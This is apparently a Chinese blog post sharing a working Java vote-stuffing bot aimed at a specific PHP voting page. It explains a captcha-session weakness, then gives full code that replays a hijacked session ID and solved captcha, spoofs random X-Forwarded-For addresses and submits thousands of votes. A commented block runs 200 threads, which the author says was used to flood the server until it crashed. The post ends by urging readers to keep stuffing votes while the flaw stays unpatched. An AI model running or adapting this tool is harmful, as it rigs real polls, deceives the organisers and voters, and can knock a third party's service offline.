`
azvf
  • 浏览: 146439 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

java投票器

阅读更多

好多刷票的,服务器宕机好几次,后来投票程序升级了,增加了图片验证码功能,验证码中有4个英文数字组合,再后来升级为中文验证码。上次的js投票器,写的有点随意了,这次改java版的。

先来分析下验证码是如何工作的

第一步,request到服务器端,server生成验证码,置入session

第二部,跳转到客户端(一般是浏览器),此时生成图片,图片中的内容就是session 中的验证码

第三步,用户将 数据 + 肉眼看到的图片上的验证码 post/get到服务器

第四步,服务器端,验证post/get来的验证码,和session 中的验证码是否相同,相同则继续执行业务然后跳转到投票页即第一步生成新的验证码;不同则跳转到客户端,告诉客户端:你搞错了,然后跳转到第一步生成新的验证码

 

如果客户端是浏览器,验证码是正常工作的。但是,俺们是用程序搞request,执行完第四步之后,不会跳转到第一步,验证码就不正常工作了。如果程序写的严谨,比如:”第四步中校验验证码过后,生成新的验证码置入session中“,而不是通过让客户端重新发起第一步的request的方式生成新的验证码,则验证码还是可以正常工作的。

 

只需要在浏览器中,走到第二步,获取到验证码,然后用程序提交数据和验证码,依然可以

上干货,fuck goods

 

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Random;

import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.methods.PostMethod;

public class TP extends Thread {

	// 验证码
	protected static String AUTHNUM_SESSION = "向变关点育";

	// 从浏览器中获取到的session信息,服务器端会认为本java程序提交的数据,和刚才浏览器是同一个会话session
	protected static String SESSION_ID = "PHPSESSID=uouddcugmv4jnpep1sv3vlkr64";

	// 投票间隔
	protected static long INTERVAL_TIME = 100;

	// 投票ID
	protected static String ID = "77";

	// 投票总数
	protected static int TP_MAX = 10000;

	// 投票地址
	protected static String VOTE = "http://www.xxx.com/xly/tp/tp_ok.php?id="
			+ ID;

	protected static int COUTER = 0;

	/**
	 * @param args
	 * @throws IOException
	 * @throws HttpException
	 * @throws InterruptedException
	 */
	public static void main(String[] args) throws HttpException, IOException,
			InterruptedException {
		TP tp = new TP();
		tp.start();
		/**
		 * 用程序刷票刷了一会,发现服务器端凡是针对ID是77的投票,全都不计数,连正常投票都不计数了,郁闷啊
		 * 不带这么玩的,别人都在刷票,唯独俺不能刷,没办法,开200线程,换个ID给别人投,让服务器busy,这样都不能刷票了
		 * 这才公平,结果服务器不间断的宕机、宕机
		 * 
		 */
		// for(int i =0; i < 200;i++){
		// TP tp = new TP();
		// tp.start();
		// }
	}

	public void run() {
		int counter = 0;
		for (;;) {
			if (TP_MAX > 0 && counter >= TP_MAX) {
				System.out.println("投票完成,共投票:" + counter);
				break;
			}
			try {
				vote();
				Thread.sleep(INTERVAL_TIME);
			} catch (InterruptedException e) {
				e.printStackTrace();
			} catch (HttpException e) {
				e.printStackTrace();
			} catch (UnsupportedEncodingException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
			counter++;
		}
	}

	protected static void vote() throws IOException, HttpException,
			UnsupportedEncodingException {
		HttpClient client = new HttpClient();

		PostMethod post = new PostMethod(VOTE);
		/**
		 * requestHeader中的属性,都是从浏览器种扒下来的
		 */
		post
				.addRequestHeader("Accept",
						"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
		post.addRequestHeader("Accept-Charset", "GBK,utf-8;q=0.7,*;q=0.3");
		post.addRequestHeader("Accept-Encoding", "GBK,utf-8;q=0.7,*;q=0.3");
		post.addRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
		post.addRequestHeader("Cache-Control", "max-age=0");
		post.addRequestHeader("Connection", "keep-alive");
		post.addRequestHeader("Host", "szdydly.ichzh.com");
		post.addRequestHeader("Cookie", SESSION_ID);

		String fakeIp = rndIp();
		// 伪造ip所需要的属性
		post.addRequestHeader("X-Forwarded-For", fakeIp);
		post.addRequestHeader("Referer", "http://www.xxx.com/xly/tp/index.php");
		post
				.addRequestHeader(
						"User-Agent",
						"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7");

		NameValuePair[] nvp = new NameValuePair[3];
		// 验证码的utf-8编码
		String code = URLEncoder.encode(AUTHNUM_SESSION, "utf-8");
		nvp[0] = new NameValuePair("code", code);
		nvp[1] = new NameValuePair("imgbtn.x", "33");
		nvp[2] = new NameValuePair("imgbtn.y", "16");

		post.setRequestBody(nvp);

		// 使用POST方式提交数据
		int statusCode = client.executeMethod(post);
		System.out.println("statusCode : " + statusCode);

		if (statusCode == 200) {
			if (post.getResponseBody() != null) {
				String response1String = new String(post.getResponseBody(),
						"utf-8");
				System.out.println(response1String);
				System.out.println("已投票:" + COUTER++);
			}
		}

	}

	/**
	 * 伪造IP
	 * 
	 * @return
	 */
	private static String rndIp() {
		return rndInt(255) + "." + rndInt(255) + "." + rndInt(255) + "."
				+ rndInt(255);
	}

	private static int rndInt(int max) {
		Random rnd = new Random(47);
		return rnd.nextInt(max);
	}

}

 

服务器上验证码漏洞一天没补上,就可以继续刷票,走起。程序中用到commons-httpclient包

0
0
分享到:
评论

相关推荐

    投票代码、投票器、投票java

    这里的"投票代码、投票器、投票java"标题和描述暗示了我们关注的是一个使用Java语言开发的投票系统的前端和后端源代码。下面将详细探讨投票系统的构成、关键技术和涉及的Java编程知识。 1. 投票系统概述: 投票系统...

    方便简洁投票器

    方便简洁投票器

    java做的投票系统

    在本投票系统中,Struts2扮演着核心控制器的角色,管理请求和响应,使得业务逻辑与展示层分离,提高了代码的可维护性和可扩展性。 其次,Hibernate是一个对象关系映射(ORM)工具,它简化了Java应用与数据库之间的...

    Java在线投票系统 - 实现在线投票和统计功能

    7. 添加、投票和统计投票现在,我们需要在控制器类 `VoteController` 中创建处理 HTTP 请求的方法,将前端模板与后端服务关联起来,实现添加投票、显示投票列表、投票详情、投票功能。 例如: ```java @Controller...

    java web投票系统

    这个系统基于Struts框架进行开发,该框架是Java社区中广泛使用的MVC(模型-视图-控制器)架构模式的一个实现,有助于提高代码的组织结构和可维护性。JFreeChart库则用于生成数据图表,它在Java世界中是处理统计图表...

    java的投票系统代码

    Java投票系统是一个基于Java编程语言实现的用于模拟选举或民意调查的应用程序。在这个系统中,开发者通常会使用Java的核心概念和技术来设计和实现用户界面、数据处理和存储等功能。以下是一些关键的知识点: 1. **...

    java小型投票系统

    在本项目中,我们关注的是一个基于Java Web的简单投票系统。这个系统旨在提供一个基本的平台,允许用户参与各种主题的投票,并直观地展示投票结果。以下是对这个"java小型投票系统"的关键知识点的详细解释: 1. **...

    java网上投票系统

    根据给定的信息,我们可以分析并总结出一个Java网上投票系统的实现方法及关键技术点。 ### Java网上投票系统概览 此Java网上投票系统主要是基于Swing框架实现的一个简单的图形用户界面(GUI)应用。该系统允许用户...

    java投票系统大作业.zip

    【Java投票系统大作业】是一个基于Java编程语言开发的项目,旨在提供一个完整的投票功能平台。这个系统包含了从用户登录到投票过程,再到结果展示的完整流程,是学习和实践Java编程以及软件工程理念的理想实践案例。...

    Java语言做的投票管理系统

    【Java语言制作的投票管理系统】 本投票管理系统是一个基于Java编程语言开发的应用程序,它主要用于组织、管理和统计各种类型的投票活动。Java的选择是因为其跨平台的特性,使得该系统能够在多种操作系统上运行,如...

    Java课程设计-投票管理系统报告(后附源码).doc

    【Java课程设计-投票管理系统】是一个基于Applet的软件项目,旨在实现一个简易而实用的投票管理平台。这个系统的核心功能包括设置候选人、投票、统计结果、结果排序、背景音乐播放、使用说明以及保存投票结果。 1. ...

    java ee 投票系统

    【Java EE投票系统】是一个基于Java企业版(Java EE)技术栈开发的示例应用,主要目的是为了帮助初学者理解并掌握Web应用的开发流程。该系统的核心技术包括:JSP(JavaServer Pages)、JavaBean以及Struts2框架。...

    java实现简单投票程序

    - 类和对象:投票程序中的关键实体,如选民、投票选项和计票器,可以被建模为类,而每个实例则代表具体的对象。 - 异常处理:用于处理可能出现的错误,比如无效的投票或超出投票范围的选择。 - 集合框架:如...

    课程设计 投票系统 Java

    【Java投票系统课程设计详解】 在Java编程领域,构建一个投票系统是一项常见的课程设计任务,旨在让学生掌握Web应用开发的基本技能。本项目的核心是利用Java技术栈实现一个功能完备、用户体验良好的在线投票平台。...

    java投票管理系统源码

    【Java投票管理系统源码】是一个基于JavaWeb技术开发的投票管理平台的源代码实现。这个系统主要用于实现在线创建、管理以及统计投票活动的功能,适用于各类组织和个人进行意见征集或者活动评选。通过分析提供的文件...

    java写的投票系统.zip

    【Java投票系统详解】 在IT领域,开发一个投票系统是一个常见的任务,特别是在Web应用程序中。本项目名为“java写的投票系统”,它是一个基于Java技术构建的在线投票平台。这个系统可能包含了用户管理、投票创建、...

    基于Java的在线投票网站源码(sql+Java)

    - src目录:存放Java源代码,如控制器类、服务类、DAO层实现等。 - resources目录:放置配置文件,如数据库连接配置、应用配置等。 - WEB-INF目录:存放web.xml(Web应用配置文件)、JSP页面等。 - lib目录...

    java 投票系统

    【Java投票系统】是一个基于Java Web技术开发的SSH框架实现的在线投票应用。SSH框架是Struts、Spring和Hibernate三个开源框架的组合,它们在Java Web开发中扮演着重要角色,构建高效、可维护的Web应用程序。 Struts...

    java投票系统的设计

    总结来说,设计一个Java投票系统,我们需要利用Java的面向对象特性,结合Spring框架、数据库访问技术以及前端开发工具,来构建完整的系统架构。同时,注意系统的安全性、稳定性和扩展性,以满足实际需求。通过不断的...

Global site tag (gtag.js) - Google Analytics